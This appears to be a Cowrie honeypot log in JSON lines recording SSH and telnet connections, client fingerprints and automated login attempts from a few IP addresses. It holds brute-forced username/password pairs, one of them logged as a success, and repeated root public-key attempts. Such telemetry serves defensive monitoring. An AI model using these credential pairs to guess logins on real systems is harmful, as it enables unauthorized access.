{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:34.313317Z","src_ip":"103.63.108.25","session":"952e51114172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":40422,"dst_ip":"159.203.135.109","dst_port":22,"session":"511eb713ecbf","protocol":"ssh","message":"New connection: 103.63.108.25:40422 (159.203.135.109:22) [session: 511eb713ecbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:34.580256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:34.585253Z","src_ip":"103.63.108.25","session":"511eb713ecbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:34.859376Z","src_ip":"103.63.108.25","session":"511eb713ecbf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:35.983461Z","src_ip":"103.63.108.25","session":"511eb713ecbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:36.261052Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:36.266248Z","src_ip":"103.63.108.25","session":"511eb713ecbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":34390,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e411a1ad19","protocol":"ssh","message":"New connection: 103.63.108.25:34390 (159.203.135.109:22) [session: a1e411a1ad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:27.022613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:27.029092Z","src_ip":"103.63.108.25","session":"a1e411a1ad19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:27.304693Z","src_ip":"103.63.108.25","session":"a1e411a1ad19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password123","message":"login attempt [admin/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:28.414048Z","src_ip":"103.63.108.25","session":"a1e411a1ad19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:29.701378Z","src_ip":"103.63.108.25","session":"a1e411a1ad19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.250.20.186","src_port":49194,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e2f52cbbed2","protocol":"telnet","message":"New connection: 187.250.20.186:49194 (10.17.0.5:23) [session: 4e2f52cbbed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:45.608675Z"}
{"eventid":"cowrie.session.closed","duration":12.090486526489258,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:07:57.699033Z","src_ip":"187.250.20.186","session":"4e2f52cbbed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":42478,"dst_ip":"159.203.135.109","dst_port":22,"session":"b71a1ed0652d","protocol":"ssh","message":"New connection: 103.63.108.25:42478 (159.203.135.109:22) [session: b71a1ed0652d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:08:24.618776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:08:24.623248Z","src_ip":"103.63.108.25","session":"b71a1ed0652d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:08:24.901552Z","src_ip":"103.63.108.25","session":"b71a1ed0652d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"11223344","message":"login attempt [ubuntu/11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:08:26.021406Z","src_ip":"103.63.108.25","session":"b71a1ed0652d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:08:27.294910Z","src_ip":"103.63.108.25","session":"b71a1ed0652d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":37164,"dst_ip":"10.17.0.5","dst_port":22,"session":"e48e3aba7b2b","protocol":"ssh","message":"New connection: 37.59.115.172:37164 (10.17.0.5:22) [session: e48e3aba7b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:11.560285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:11.565091Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:11.670630Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:76:b2:ed:bf:fe:d3:7e:63:aa:6b:0b:83:4c:1c:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuADLj7MPPcPfO7pJnGSFfRhpoAyQ9T33AbonpmzmUU6L2MKUsa2h6hXW36z83hpSLJVAENZj6Fa2GOdg+8UMB1GaOZHN+wN/frN8FzjaATdKMg6vRDHrnqljsPKIAkbs9/s+f+3qMPDrF9vxv6RIusz44N/djV8ywm42T+oikdqGO1HD0Ksth/lOdxZiXQFYsrLlkVqtl54u4BzGy+kEv1l5mSclGZ6t1Z+ncnTSBEAvMNRc4B/TvI4AIdFIgz3kcl9kO+E0vrmRAw4ccUX8BlOxqjxLnwR9fKL15ZGrB8Msfri7f711zFXmri+c5EcstK6x0fQSauu/IASdel2xZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:76:b2:ed:bf:fe:d3:7e:63:aa:6b:0b:83:4c:1c:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.050705Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:76:b2:ed:bf:fe:d3:7e:63:aa:6b:0b:83:4c:1c:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuADLj7MPPcPfO7pJnGSFfRhpoAyQ9T33AbonpmzmUU6L2MKUsa2h6hXW36z83hpSLJVAENZj6Fa2GOdg+8UMB1GaOZHN+wN/frN8FzjaATdKMg6vRDHrnqljsPKIAkbs9/s+f+3qMPDrF9vxv6RIusz44N/djV8ywm42T+oikdqGO1HD0Ksth/lOdxZiXQFYsrLlkVqtl54u4BzGy+kEv1l5mSclGZ6t1Z+ncnTSBEAvMNRc4B/TvI4AIdFIgz3kcl9kO+E0vrmRAw4ccUX8BlOxqjxLnwR9fKL15ZGrB8Msfri7f711zFXmri+c5EcstK6x0fQSauu/IASdel2xZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.054740Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:48:b4:37:df:f2:3d:8a:bf:09:9b:2c:a8:fd:6b:95","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIkQj31F6cVqXGLYf2r/lCpljKtyipXImRZTH26g6/Lm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3a:48:b4:37:df:f2:3d:8a:bf:09:9b:2c:a8:fd:6b:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.135872Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:48:b4:37:df:f2:3d:8a:bf:09:9b:2c:a8:fd:6b:95","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIkQj31F6cVqXGLYf2r/lCpljKtyipXImRZTH26g6/Lm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.140418Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:01:37:79:7d:4d:00:9f:04:26:81:a1:df:6d:b7:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwXziyd3ycwyMUhxO2gwIU0MuC1FKVxa8m5Opv3OWkMPi+qJgV5pRf47XKJOMnnZo2mJ1L2Jgnj/0kMu69LB6jFBMvySjZ8IB3OJQoJ6ZcqjT/qrEHeP+o39okEMaSdqby5mJD/drEc9TetK8YIYctxYlyJcWEiaOE9G5Da5hxmR6VZA39YNU1isow7lCGIRjAVuhadr+ii/wmnWWZflelytBXpIPxStZ3gBGbvd8rzeyOhwPSZk8/IwGiTPX+rR8Nj+nyBnvVmsZpYu0+3gjMkHC6WYtStBXkpaIAihYzI0nLso2bcWn+yMQTbSHUdhtxZeeeOkg0LjCD6V+nY8Rp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:01:37:79:7d:4d:00:9f:04:26:81:a1:df:6d:b7:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.221404Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:01:37:79:7d:4d:00:9f:04:26:81:a1:df:6d:b7:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwXziyd3ycwyMUhxO2gwIU0MuC1FKVxa8m5Opv3OWkMPi+qJgV5pRf47XKJOMnnZo2mJ1L2Jgnj/0kMu69LB6jFBMvySjZ8IB3OJQoJ6ZcqjT/qrEHeP+o39okEMaSdqby5mJD/drEc9TetK8YIYctxYlyJcWEiaOE9G5Da5hxmR6VZA39YNU1isow7lCGIRjAVuhadr+ii/wmnWWZflelytBXpIPxStZ3gBGbvd8rzeyOhwPSZk8/IwGiTPX+rR8Nj+nyBnvVmsZpYu0+3gjMkHC6WYtStBXkpaIAihYzI0nLso2bcWn+yMQTbSHUdhtxZeeeOkg0LjCD6V+nY8Rp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.225777Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:0d:d9:cd:84:54:51:d9:ed:b7:71:ae:36:9e:fc:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0or67fbqre7Zntxam+XDS8XXN5UOzNGwil50yQVmOwLJ7s/vhRkyinNptKwUOvyLzbJ/EpN3N+HGKMvQySaxqer+60cLSoEl7Yxo6vSiN8qN6MRB3aysA+usrBQifOiS72Yoj57/wse/1ak6E+UG8lqUa5SyE3OA2EcnY3BA6E4hERtLXqSwc+W5tzdM3exulDqIfL+mjVRGFBVvRfI+DK/F5IAMfsFTaylRqG+/va0hu30fIU1J9UO9C+YurnFQbayZ7IJOExl/eAPOhdhgYvJCxjIGhH3wZE0VXaGQYJEQxancsxKOYTtdZjhhcGxrJZ0QELDusNzbg9M6iWB1P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:0d:d9:cd:84:54:51:d9:ed:b7:71:ae:36:9e:fc:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.309077Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:0d:d9:cd:84:54:51:d9:ed:b7:71:ae:36:9e:fc:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0or67fbqre7Zntxam+XDS8XXN5UOzNGwil50yQVmOwLJ7s/vhRkyinNptKwUOvyLzbJ/EpN3N+HGKMvQySaxqer+60cLSoEl7Yxo6vSiN8qN6MRB3aysA+usrBQifOiS72Yoj57/wse/1ak6E+UG8lqUa5SyE3OA2EcnY3BA6E4hERtLXqSwc+W5tzdM3exulDqIfL+mjVRGFBVvRfI+DK/F5IAMfsFTaylRqG+/va0hu30fIU1J9UO9C+YurnFQbayZ7IJOExl/eAPOhdhgYvJCxjIGhH3wZE0VXaGQYJEQxancsxKOYTtdZjhhcGxrJZ0QELDusNzbg9M6iWB1P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.312924Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:ab:8d:81:95:32:b0:cf:16:27:d6:5c:42:6f:54:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWlspUDxQh4ziGjVcolesFwuERNFsB1wlkqlN4lNP4oHuG3rITIiDoGfhnRU/JdS2gAOEp7E6pxlQDY5/8t5v1uDWsA1MuOQHiQF8FxgGrHvG0Ei3WhKEJO5pvoHztFnZpee38JFMfAsAZdd/zga7u2DPzukoc/nZssvrH1MAJJu+dx8KTNuxXyT7FFu9hSfVO7B+2W4Q2pFuUdYbdzTiQphQ2UM8fowU9Pa6gmW1rI38JtXGLyJHQ/2uCeGM/FWHCH6PfcKQB/1zMG1rDd65c38sVJL1ty4PkfCOXspcoaNBGAH4FRarPdDoewmlWdS10LWUZRuBHqqMVgKBV2sOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:ab:8d:81:95:32:b0:cf:16:27:d6:5c:42:6f:54:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.396247Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:ab:8d:81:95:32:b0:cf:16:27:d6:5c:42:6f:54:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwWlspUDxQh4ziGjVcolesFwuERNFsB1wlkqlN4lNP4oHuG3rITIiDoGfhnRU/JdS2gAOEp7E6pxlQDY5/8t5v1uDWsA1MuOQHiQF8FxgGrHvG0Ei3WhKEJO5pvoHztFnZpee38JFMfAsAZdd/zga7u2DPzukoc/nZssvrH1MAJJu+dx8KTNuxXyT7FFu9hSfVO7B+2W4Q2pFuUdYbdzTiQphQ2UM8fowU9Pa6gmW1rI38JtXGLyJHQ/2uCeGM/FWHCH6PfcKQB/1zMG1rDd65c38sVJL1ty4PkfCOXspcoaNBGAH4FRarPdDoewmlWdS10LWUZRuBHqqMVgKBV2sOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.400374Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:12.481431Z","src_ip":"37.59.115.172","session":"e48e3aba7b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":34614,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4ce6bb07b8e","protocol":"ssh","message":"New connection: 103.63.108.25:34614 (159.203.135.109:22) [session: e4ce6bb07b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:22.722970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:22.732238Z","src_ip":"103.63.108.25","session":"e4ce6bb07b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:09:23.004951Z","src_ip":"103.63.108.25","session":"e4ce6bb07b8e","protocol":"ssh"}
